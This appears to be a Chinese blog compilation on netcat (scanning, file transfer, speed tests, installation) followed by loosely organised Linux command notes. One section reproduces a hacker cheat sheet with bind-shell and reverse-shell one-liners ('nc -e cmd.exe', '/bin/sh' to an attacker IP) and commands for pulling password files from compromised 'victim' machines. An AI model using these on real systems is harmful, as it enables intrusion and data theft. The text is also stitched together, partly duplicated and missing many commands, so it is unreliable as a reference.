文件管理 · 2024年2月26日

netcat传输文件|真正试过的人进:如何打开电脑的某个端口

1. 认识nc,tcp/udp网络测试

什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 (2)端口的扫描,nc可以作为client发起TCP或UDP连接 (3)机器之间传输文件 (4)机器之间网络测速                                                                                                                                                                                                                         nc的控制参数不少,常用的几个参数如下所列: 1) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。 2) -p <port> 暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数) 3) -s 指定发送数据的源IP地址,适用于多网卡机  4) -u  指定nc使用UDP协议,默认为TCP 5) -v 输出交互或出错信息,新手调试时尤为有用 6)-w 超时秒数,后面跟数字  7)-z 表示zero,表示扫描时不发送任何数据前期准备 准备两台机器,用于测试nc命令的用法 主机A:ip地址 10.0.1.161 主机B:ip地址 10.0.1.162两台机器先安装nc和nmap的包 yum install nc -y yum install nmap -y 如果提示如下-bash: nc: command not found 表示没安装nc的包nc用法1,网络连通性测试和端口扫描   nc可以作为server端启动一个tcp的监听(注意,此处重点是起tcp,下面还会讲udp) 先关闭A的防火墙,或者放行下面端口,然后测试B机器是否可以访问A机器启动的端口 在A机器上启动一个端口监听,比如 9999端口(注意:下面的-l 是小写的L,不是数字1) 默认情况下下面监听的是一个tcp的端口 nc -l 9999客户端测试, 测试方法1 在B机器上telnet A机器此端口,如下显示表示B机器可以访问A机器此端口客户端测试,测试方法2 B机器上也可以使用nmap扫描A机器的此端口 nmap 10.0.1.161 -p9999客户端测试,测试方法3 使用nc命令作为客户端工具进行端口探测 nc -vz -w 2 10.0.1.161 9999 (-v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字) 上面命令也可以写成 nc -vzw 2 10.0.1.161 9999客户端测试,测试方法4(和方法3相似,但用处更大) nc可以可以扫描连续端口,这个作用非常重要。常常可以用来扫描服务器端口,然后给服务器安全加固 在A机器上监听2个端口,一个9999,一个9998,使用&符号丢入后台在客户端B机器上扫描连续的两个端口,如下nc作为server端启动一个udp的监听(注意,此处重点是起udp,上面主要讲了tcp) 启动一个udp的端口监听 nc  -ul  9998 复制当前窗口输入 netstat -antup |grep 9998 可以看到是启动了udp的监听客户端测试,测试方法1 nc -vuz 10.0.1.161 9998 由于udp的端口无法在客户端使用telnet去测试,我们可以使用nc命令去扫描(前面提到nc还可以用来扫描端口) (telnet是运行于tcp协议的) (u表示udp端口,v表示可视化输出,z表示扫描时不发送数据) 上面在B机器扫描此端口的时候,看到A机器下面出现一串XXXXX字符串客户端测试,测试方法2 nmap -sU 10.0.1.161 -p 9998 -Pn (它暂无法测试nc启动的udp端口,每次探测nc作为server端启动的udp端口时,会导致对方退出侦听,有这个bug,对于一些程序启动的udp端口在使用nc扫描时不会有此bug) 下面,A机器启动一个udp的端口监听,端口为9998 在复制的窗口上可以确认已经在监听了 B机器使用nmap命令去扫描此udp端口,在扫描过程中,导致A机器的nc退出监听。所以显示端口关闭了(我推测是扫描时发数据导致的) nmap -sU 10.0.1.161 -p 9998 -Pn -sU :表示udp端口的扫描 -Pn :如果服务器禁PING或者放在防火墙下面的,不加-Pn 参数的它就会认为这个扫描的主机不存活就不会进行扫描了,如果不加-Pn就会像下面的结果一样,它也会进行提示你添加上-Pn参数尝试的 注意:如果A机器开启了防火墙,扫描结果可能会是下面状态。(不能确定对方是否有监听9998端口) 既然上面测试无法使用nmap扫描nc作为服务端启动的端口,我们可以使用nmap扫描其余的端口 (额,有点跑题了,讲nmap的用法了,没关系,主要为了说明nmap是也可以用来扫描udp端口的,只是扫描nc启动的端口会导致对方退出端口监听) 下面,A机器上rpcbind服务,监听在udp的111端口 在B机器上使用nmap扫描此端口,是正常的检测到处于open状态客户端测试,测试方法3 nc扫描大量udp端口 扫描过程比较慢,可能是1秒扫描一个端口,下面表示扫描A机器的1到1000端口(暂未发现可以在一行命令中扫描分散的几个端口的方法) nc -vuz 10.0.1.161 1-1000nc用法2,使用nc传输文件和目录 方法1,传输文件演示(先启动接收命令) 使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了 把A机器上的一个rpm文件发送到B机器上 需注意操作次序,receiver先侦听端口,sender向receiver所在机器的该端口发送数据。  步骤1,先在B机器上启动一个接收文件的监听,格式如下 意思是把赖在9995端口接收到的数据都写到file文件里(这里文件名随意取) nc -l port >file nc -l 9995 >zabbix.rpm步骤2,在A机器上往B机器的9995端口发送数据,把下面rpm包发送过去 nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm B机器接收完毕,它会自动退出监听,文件大小和A机器一样,md5值也一样方法2,传输文件演示(先启动发送命令) 步骤1,先在B机器上,启动发送文件命令 下面命令表示通过本地的9992端口发送test.mv文件 nc -l 9992 <test.mv步骤2,A机器上连接B机器,取接收文件 下面命令表示通过连接B机器的9992端口接收文件,并把文件存到本目录下,文件名为test2.mv nc 10.0.1.162 9992 >test2.mv方法3,传输目录演示(方法发送文件类似) 步骤1,B机器先启动监听,如下 A机器给B机器发送多个文件 传输目录需要结合其它的命令,比如tar 经过我的测试管道后面最后必须是 – ,不能是其余自定义的文件名 nc -l 9995 | tar xfvz -步骤2,A机器打包文件并连接B机器的端口 管道前面表示把当前目录的所有文件打包为 – ,然后使用nc发送给B机器 tar cfz – * | nc 10.0.1.162 9995 B机器这边已经自动接收和解压nc用法3,测试网速 测试网速其实利用了传输文件的原理,就是把来自一台机器的/dev/zero 发送给另一台机器的/dev/null 就是把一台机器的无限个0,传输给另一个机器的空设备上,然后新开一个窗口使用dstat命令监测网速 在这之前需要保证机器先安装dstat工具 yum install -y dstat方法1,测试网速演示(先启动接收命令方式) 步骤1,A机器先启动接收数据的命令,监听自己的9991端口,把来自这个端口的数据都输出给空设备(这样不写磁盘,测试网速更准确) nc -l 9991 >/dev/null步骤2,B机器发送数据,把无限个0发送给A机器的9991端口 nc 10.0.1.161 9991 </dev/zero在复制的窗口上使用dstat命令查看当前网速,dstat命令比较直观,它可以查看当前cpu,磁盘,网络,内存页和系统的一些当前状态指标。 我们只需要看下面我选中的这2列即可,recv是receive的缩写,表示接收的意思,send是发送数据,另外注意数字后面的单位B,KB,MB可以看到A机器接收数据,平均每秒400MB左右 B机器新打开的窗口上执行dstat,看到每秒发送400MB左右的数据方法2,测试网速演示(先启动发送命令方式) 步骤1,先启动发送的数据,谁连接这个端口时就会接收来自zero设备的数据(二进制的无限个0) nc -l 9990 </dev/zero 步骤2,下面B机器连接A机器的9990端口,把接收的数据输出到空设备上 nc 10.0.1.161 9990 >/dev/null 同样可以使用dstat观察数据发送时的网速 :https://www.cnblogs.com/nmap/p/6148306.html

2. linux和windows有没有发送tcp协议消息的命令行程序

可以建立端口监听并响应操作,可以连接端口发起请求。netcat既可以作为server端,也可以作为client端。具体例子比如端口扫面,聊天,传文件等: http://www.oschina.net/translate/linux-netcat-command Ubuntu上默认安装的是netcat-openbsd,而不是经典的netcat-traditional. 网上例子很多都是以netcat-traditional为例. sudo apt-get -y install netcat-traditional 设置默认的nc,选择/bin/nc.traditional: sudo update-alternatives –config nc

3. 真正试过的人进:如何打开电脑的某个端口

用瑞士军刀——netcat命令格式:nc -l -p 你要开放的端口有关nc的用法一定要在cmd瑞士军刀所在目录下用其他用法:NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大.对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.1.1 NC.EXE是一个非标准的telnet客户端程序,1.2 还有一个putty.exe客户端程序,提供四种连接模式-raw -telnet -rlogin -ssh.虽然现在也新出了GUI版的中文“NC”,但是相比起来还是这个好用。######################################################################2. Netcat 1.10 for NT 帮助信息######################################################################C:WINDOWSDesktop>nc -h[v1.10 NT]connect to somewhere: nc [-options] hostname port[s] [ports] …listen for inbound: nc -l -p port [options] [hostname] [port]options:-d detach from console, background mode (后台模式)-e prog inbound program to exec [dangerous!!]-g gateway source-routing hop point[s], up to 8-G num source-routing pointer: 4, 8, 12, …-h this cruft (本帮助信息)-i secs delay interval for lines sent, ports scanned (延迟时间)-l listen mode, for inbound connects (监听模式,等待连接)-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)-o file hex mp of traffic (十六进制模式输出文件,三段)-p port local port number (本地端口)-r randomize local and remote ports (随机本地远程端口)-s addr local source address (本地源地址)-t answer TELNET negotiation-u UDP mode-v verbose [use twice to be more verbose] (-vv 更多信息)-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] (扫描模式,-vv)port numbers can be indivial or ranges: m-n [inclusive]######################################################################3. Netcat 1.10 常用的命令格式######################################################################3.1.端口的刺探:nc -vv ip portRIVER [192.168.0.198] 19190 (?) open //显示是否开放open3.2.扫描器nc -vv -w 5 ip port-port portnc -vv -z ip port-port port这样扫描会留下大量的痕迹,系统管理员会额外小心3.3. 后门victim machine: //受害者的机器nc -l -p port -e cmd.exe //win2000nc -l -p port -e /bin/sh //unix,linuxattacker machine: //攻击者的机器.nc ip -p port //连接victim_IP,然后得到一个shell。3.2.扫描器nc -vv -w 5 ip port-port portnc -vv -z ip port-port port这样扫描会留下大量的痕迹,系统管理员会额外小心3.3. 后门victim machine: //受害者的机器nc -l -p port -e cmd.exe //win2000nc -l -p port -e /bin/sh //unix,linuxattacker machine: //攻击者的机器.nc ip -p port //连接victim_IP,然后得到一个shell。3.4.反向连接attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.//或者wollf的反向连接.nc -vv -l -p portvictim machine:nc -e cmd.exe attacker ip -p portnc -e /bin/sh attacker ip -p port或者:attacker machine:nc -vv -l -p port1 /*用于输入*/nc -vv -l -p prot2 /*用于显示*/victim machine:nc attacker_ip port1 cmd.exe nc attacker_ip port2nc attacker_ip port1 /bin/sh nc attacker_ip port2139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)这样就可以保证nc.exe优先于NETBIOS。 3.5.传送文件:3.5.1 attacker machine <– victim machine //从肉鸡拖密码文件回来.nc -d -l -p port < pathfiledest /*attacker machine*/ 可以shell执行nc -vv attacker_ip port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.3.5.2 attacker machine –> victim machine //上传命令文件到肉鸡nc -vv -l -p port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出nc -d victim_ip port < pathfiledest /*attacker machine*/ 可以shell执行//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.结论: 可以传输ascii,bin文件.可以传输程序文件.问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?3.6 端口数据抓包.nc -vv -w 2 -o test.txt www.hackervip.com 80 21-15< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized…< 00000084 83 00 00 01 8f # …..3.7 telnet,自动批处理。nc victim_ip port < pathfile.cmd /*victim machine*/ 显示执行过程.nc -vv victim_ip port < pathfile.cmd /*victim machine*/ 显示执行过程.nc -d victim_ip port < pathfile.cmd 安静模式._______________file.cmd________________________passwordcd %windir%echo []=[%windir%]c:cdmd testcd /d %windir%system32net stop sksockserversnake.exe -config port 11111net start sksockserverexit

4. linux怎么安装netcat

下载下载的是netcat-0.7.1.tar.gz版本,存放在当前目录下wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/解压将 netcat-0.7.1.tar.gz 解压到 /usr/local 目录下tar -zxvf netcat-0.7.1.tar.gz -C /usr/local重命名切换到 /usr/local 目录下:cd /usr/local改名:mv netcat-0.7.1 netcat配置切换目录:cd /usr/local/netcat把文件配置到 /opt/netcat 下,卸载软件时,只要删除这个文件就行了:./configure –prefix=/opt/netcat编译安装编译:make安装:make install配置环境变量 vim /etc/profile添加以下内容:# set netcat pathexport NETCAT_HOME=/opt/netcatexport PATH=$PATH:$NETCAT_HOME/bin保存,退出,并使配置生效:source /etc/profile验证nc –help

5. Linux命令

快照功能:记录当前的硬盘的状态。刚建快照时快照占用内存为0,标记了当前硬盘的存储状态。当虚拟机对快照标记的内容改写时,会将改写的内容存储进快照,与未改写的部分整合得到完整的快照。当快照标记的部分被完全改写,那么快照存储空间完整记录了当时拍摄时的内存状态。

参数形式

第一种:参数用一横的说明后面的参数是字符形式。

第二种:参数用两横的说明后面的参数是单词形式。

第三种:参数前有横的老链顷是 System V风格。

第四种:参数前没有横的是 BSD风格。

cat、more、less、head、tail命令的比较:

cat命令可以一次显示整个文件,如果文件比较大,使用不是很方便;

more命令可以让屏幕在显示满一屏幕时暂停,按空格往前翻页,按b往后翻页。

less命令也可以分页显示文件,和more命令的区别就在于: 支持上下键卷动屏幕、查找;不需要在一开始就读取整个文件,打开大文件时比more、vim更快。

head命令用于查看文件的前n行。

tail命令用于查看文件的后n行,加上-f命令,查看在线日志非常方便,可以打印最新增加的日志。

一般模式:

编辑模式:

命令模式:

编码

多行操作(列编辑模式) 插入:ctrl+v进入列编辑模式,上下移动光标选择需要插入的位置,然后输入大写I,输入需要文本,最后按esc键退出,就会发现文本会在选择的多行中插入。 删除:ctrl+v进入列编辑模式,上下移动光标选中需要删除的部分,然后按d,就会删除选中的内容。

①head:显示文件头部内容

②tail:输出文件尾部内容

注意:用vim和vi修改内容会删除源文件并生成新文件,所以tail -f会失效。需要用到

追加和覆盖语句(>或>>),才能被tail -f监视到。

一般用于查看小文件

查看压缩文件中的文本内容

例:

①more:文件内容分屏查看器

②less:分屏显示文件内容,效率比more高

1、简单读取

运行脚本如下

测试结果为:

2、-p 参数,允许在 read 命令行中直接指定一个提示。

运行脚本如下

测试结果为:

echo [选项] [输出内容] (输出内容到控制台)

输出给定文本的sha256加密后的内容

①显示当前时间信息

②显示当前时间年月日

③显示当侍陆前时间年月日时分秒

④显示昨天

⑤显示明天时间

⑥显示上个月时间

需要注意的是取下个月的命令存在bug,执行如下命令会得到21-10,但是正常应该得到21-09,需要注意 date -d “2021-08-31 +1 month” +%y-%m

⑦修改系统时间

⑧获取当前时间戳 获取秒时间戳: date +%s 获唤袜取毫秒时间戳:$[ (date +%s%N) /1000000]

查看日历

(1)查看当前月的日历

(2)查看2017年的日历

例:

对比gzip/gunzip,zip/unzip可以压缩文件和目录且保留源文件。

①zip:压缩

②unzip:解压缩

只能压缩文件不能压缩目录,不保留原来的文件。

gzip 文件 (只能将文件压缩为*.gz文件)

gunzip 文件.gz (解压缩文件命令)

例: crontab -e

(1)进入crontab编辑界面。会打开vim编辑你的工作。

(2)每隔1分钟,向/root/longma.txt文件中添加一个11的数字

*/1 * * * * /bin/echo ”11” >> /root/longma.txt

(3)可以用tail -f 目标文件来实施监控追加的内容

查看日志 可以用tail -f /var/log/cron.log观察

Cron表达式见文章: https://www.jianshu.com/writer#/notebooks/46619194/notes/75177408

ls [选项] [目录或是文件]

cd [参数]

例: cd -P $(dirname $p1) ; pwd 先跳转到文件的所在目录,再打印$p1文件的实际路径

概述

①cp():只能在本机中复制

②scp(secure ):可以复制文件给远程主机

scp -r test.sh hxr@hadoop102:/root

③rsync(remote sync):功能与scp相同,但是不会改文件属性

rsync -av test.sh test.sh hxr@hadoop102:/root

④nc(netcat):监听端口,可以实现机器之间传输文件。 nc -lk 7777 (-l表示listen,-k表示keep)

强制覆盖不提示的方法:cp

例:scp -r test.sh hxr@bigdata1:/root

例:rsync -av test.sh hxr@bigdata1:/root

例:

nc -lp 10000 > nc_test.txt

nc -w 1 hadoop102 < nc_test.txt

远程登录时默认使用的私钥为~/.ssh/id_rsa

生成密钥对

将公钥发送到本机

将密钥发送到需要登录到本机的服务器上

修改密钥的权限

远程登陆

如果有多个节点需要远程登陆,可以在.ssh下创建config并输入

再次登陆

①正向代理:

②反向代理: 所谓“反向代理”就是让远端启动端口,把远端端口数据转发到本地。

HostA 将自己可以访问的 HostB:PortB 暴露给外网服务器 HostC:PortC,在 HostA 上运行:

那么链接 HostC:PortC 就相当于链接 HostB:PortB。 使用时需修改 HostC 的 /etc/ssh/sshd_config 的一条配置如下,不然启动的进程监听的ip地址为127.0.0.1,即只有本机可以访问该端口。

相当于内网穿透,比如 HostA 和 HostB 是同一个内网下的两台可以互相访问的机器,HostC是外网跳板机,HostC不能访问 HostA,但是 HostA 可以访问 HostC。 那么通过在内网 HostA 上运行 ssh -R 告诉 HostC,创建 PortC 端口监听,把该端口所有数据转发给我(HostA),我会再转发给同一个内网下的 HostB:PortB。 同内网下的 HostA/HostB 也可以是同一台机器,换句话说就是 内网 HostA 把自己可以访问的端口暴露给了外网 HostC。

例: 比如在我的内网机192.168.32.244上有一个RabbitMQ的客户端,端口号为15672。现在我希望在外网上访问固定ip的云服务器chenjie.asia的6009端口,通过跳板机192.168.32.243来转发请求到192.168.32.244:15672,从而实现在外网访问内网服务的功能,即内网穿透。 ①在192.168.32.244上启动RabbitMQ服务

②将chenjie.asia云服务器的私钥复制到跳板机192.168.32.243的~/.ssh下,并重命名为id_rsa。通过如下命令看是否可以远程登陆到云服务,可以登陆则进行下一步。

③修改chenjie.asia服务器的ssh配置文件 /etc/ssh/sshd_config ,允许其他节点访问

然后重启sshd服务

④在跳板机192.168.32.243启动ssh反向代理

这个进程在关闭session时会停止,可以添加启动参数 -CPfN

例:

以 root 身份执行的程序有了所有特权,这会带来安全风险。Kernel 从 2.2 版本开始,提供了 Capabilities 功能,它把特权划分成不同单元,可以只授权程序所需的权限,而非所有特权。

例如:linux不允许非root账号只用1024以下的端口,使用root启动命令nginx,会导致nginx权限过高太危险。所以用setcap命令

sudo setcap cap_net_bind_service=+eip /bigdata/nginx/sbin/nginx

正确的关机流程为 :sync > shutdown > reboot > halt

(1)sync (功能描述:将数据由内存同步到硬盘中)

(2)halt (功能描述:关闭系统,等同于shutdown -h now 和 poweroff)

(3)reboot (功能描述:就是重启,等同于 shutdown -r now)

(4)shutdown [选项] [时间]

安装 yum install -y telnet-server telnet

ls -i 显示文件的节点号 find -inum 节点号 -delete 删除指定的节点即可删除对应的文件

启动一个服务: systemctl start postfix.service 关闭一个服务: systemctl stop postfix.service 重启一个服务: systemctl restart postfix.service 显示一个服务的状态: systemctl status postfix.service

在开机时启用一个服务: systemctl enable postfix.service 在开机时禁用一个服务: systemctl disable postfix.service 注:在enable的时候会打印出来该启动文件的位置

列出所有已经安装的服务及状态: systemctl list-units systemctl list-unit-files 查看服务列表状态: systemctl list-units –type=service

查看服务是否开机启动: systemctl is-enabled postfix.service 查看已启动的服务列表: systemctl list-unit-files | grep enabled 查看启动失败的服务列表: systemctl –failed

查看服务日志: journalctl -u postfix -n 10 -f

命令类似systemctl,用于操作native service。

添加脚本为服务(需要指定启动级别和优先级): chkconfig –add [脚本] 删除服务: chkconfig –del [脚本] 单独查看某一服务是否开机启动的命令 : chkconfig –list [服务名] 单独开启某一服务的命令 : chkconfig [服务名] on 单独关闭某一服务的命令: chkconfig [服务名] off 查看某一服务的状态: /etc/intd.d/[服务名] status

启用服务就是在当前”runlevel”的配置文件目录 /etc/systemd/system/multi-user.target.wants 里,建立 /usr/lib/systemd/system 里面对应服务配置文件的软链接;禁用服务就是删除此软链接,添加服务就是添加软连接。

su 用户名称 (切换用户,只能获得用户的执行权限,不能获得环境变量)

su – 用户名称 (切换到用户并获得该用户的环境变量及执行权限)

echo $PATH 打印环境变量

设置普通用户具有root权限

修改 /etc/sudoers 文件,找到下面一行(91行),在root下面添加一行,如下 所示:

或者配置成采用sudo命令时,不需要输入密码

修改完毕,现在可以用hxr 帐号登录,然后用命令 sudo ,即可获得root权限进行操作。

以azkaban用户执行引号中的命令

gpasswd -d [username] [groupname] 将用户从组中删除 gpasswd -a [username] [groupname] 将用户加入到组中

用户组的管理涉及用户组的添加、删除和修改。组的增加、删除和修改实际上就是对 /etc/group文件的更新。

0首位表示类型 – 代表文件 d 代表目录 l 链接文档(link file)

三种特殊权限suid、sgid、sticky

例子:

变更文件权限方式一

例:chmod u-x,o+x houge.txt

变更文件权限方式二

例:chmod -R 777 /mnt/ 修改整个文件夹的文件权限

在linux中创建文件或者目录会有一个默认权限的,这个默认权限是由umask决定的(默认为0022)。umask设置的是权限的“补码”,而我们常用chmod设置的是文件权限码。一般在/etc/profile 、~/.bashprofile 或者 ~/.profile中设置umask值。

umask计算 如root用户的默认umask为0022(第一个0 代表特殊权限位,这里先不考虑),创建的文件默认权限是644(即默认666掩上umask的022),创建的目录是755(即默认777掩上umask的022)。

对于root用户的umask=022这个来说,777权限二进制码就是(111)(111)(111),022权限二进制码为(000)(010)(010)。

上面就是一个umask的正常计算过程,但是这样实在是太麻烦了。我们使用如下的简单的方法快速计算。

上面的这个方法计算是非常方便的, 为何得到奇数要+1呢?

文件的最大权限是666,都是偶数,你得到奇数,说明你的umask有奇数啊,读为4,写为2,都是偶数,说明你有执行权限的。

就按照上面的umask=023为例,在计算其他用户权限的时候6-3=3 ,6是读写,3是写和执行,其实应该是读写权限减去读权限的得到写权限的,相当于我们多减去了一个执行权限。所以结果加1。

umask修改

如果想单独修改某个文件夹的新建文件的权限,可以使用setfacl命令。

例:递归改变文件所有者和所有组 chown -R hxr:hxr /mnt

例: